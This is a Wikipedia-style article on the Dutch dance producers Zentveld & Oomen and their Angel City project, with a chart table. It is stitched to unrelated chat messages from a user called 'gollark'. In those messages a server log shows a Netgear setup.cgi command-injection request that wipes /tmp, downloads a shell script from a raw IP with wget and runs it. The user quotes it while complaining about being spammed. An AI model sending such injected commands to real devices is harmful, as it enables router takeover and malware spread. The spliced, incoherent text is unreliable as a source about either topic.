Zentveld & Oomen

The Dutch DJs, Hugo Zentveld (a.k.a. DJ Renegade) and Aldwin Oomen,[1] are behind a number of dance production projects, including Angel City, Boombastic, and Nightbreed.

This article is about the Dutch electronic group. For the Australian rock band formerly known as Angel City, see The Angels (Australian band).
Angel City
OriginNetherlands
GenresDance, trance
Years active2002–present
LabelsBoss Records, Data Records
WebsiteAngel City Official - Myspace
MembersZentveld
Oomen
Lara McAllen (2002-2005), (2007-present)

Angel City

Angel City is a dance project by Zentveld and Oomen, led by British recording artist Lara McAllen. The majority of their songs are dance covers. The group were signed to Ministry of Sound record labels Boss Records and Data Records. Their hit "Do You Know (I Go Crazy)" sampled the instrumental track "Children" by Robert Miles, as well as the lyrics from "Do You Know" by Michelle Gayle. It was their biggest hit, peaking at #8 in the UK Singles Chart.[1] Their hit, "Touch Me", sampled the lyrics from Cathy Dennis' hit, "Touch Me (All Night Long)". Their fourth song, "Sunrise", was a cover of a track of the same name by Ashiva, and was a Top 10 hit in the UK and across Europe in February 2005. One of the co-writers of this tune, S. Shawcross also co-wrote "City Lights" (which featured on the Angel City album) and has since become an artist in her own right, performing under the name Sarah Lucie Shaw. McAllen left the group in 2005 to pursue a solo career. However, she re-joined Angel City in late 2006, and featured in the band's 2007 single, "24/7", but this was ultimately never released. In July 2010, a promo clip of a new song called "How Do You Sleep" was posted on Dance Nation's website.

Discography

Album

Singles
Year Single Peak chart positions Album
BEL
(Vl)		 NED UK
[1]		 UK
Dance		 TUR U.S. U.S.
Dance
2003 "Love Me Right (Oh Sheila)" 27 62 11 1 1 95 1 Love Me Right
2004 "Touch Me (All Night Long)" 55 44 18 2 10 — —
2004 "Do You Know (I Go Crazy)" 36 54 8 1 22 — 47
2005 "Sunrise" — — 9 9 20 — 1
"—" denotes releases that did not chart
gollark: That shell script just tries to download and run architecture-specific binaries.
gollark: I actually looked at the file there, it was a minor rabbit hole.
gollark: It's... not good, and something really needs to be done about it.
gollark: A few days ago my website got spammed with requests like this:```147|1597979461.0539|201.252.229.123|/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1|GET||{"Connection":"close"}|{"Ip":"201.252.229.123","Path":"/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1","Protocol":"HTTP/1.0"}```(yes this is a weird log format)which I think were actually made by compromised routers of some kind.
gollark: Some of the vulnerabilities I read about make me wonder if anyone had... considered security at all when designing things.

References
  1. Roberts, David (2006). British Hit Singles & Albums (19th ed.). London: Guinness World Records Limited. p. 24. ISBN 1-904994-10-5.
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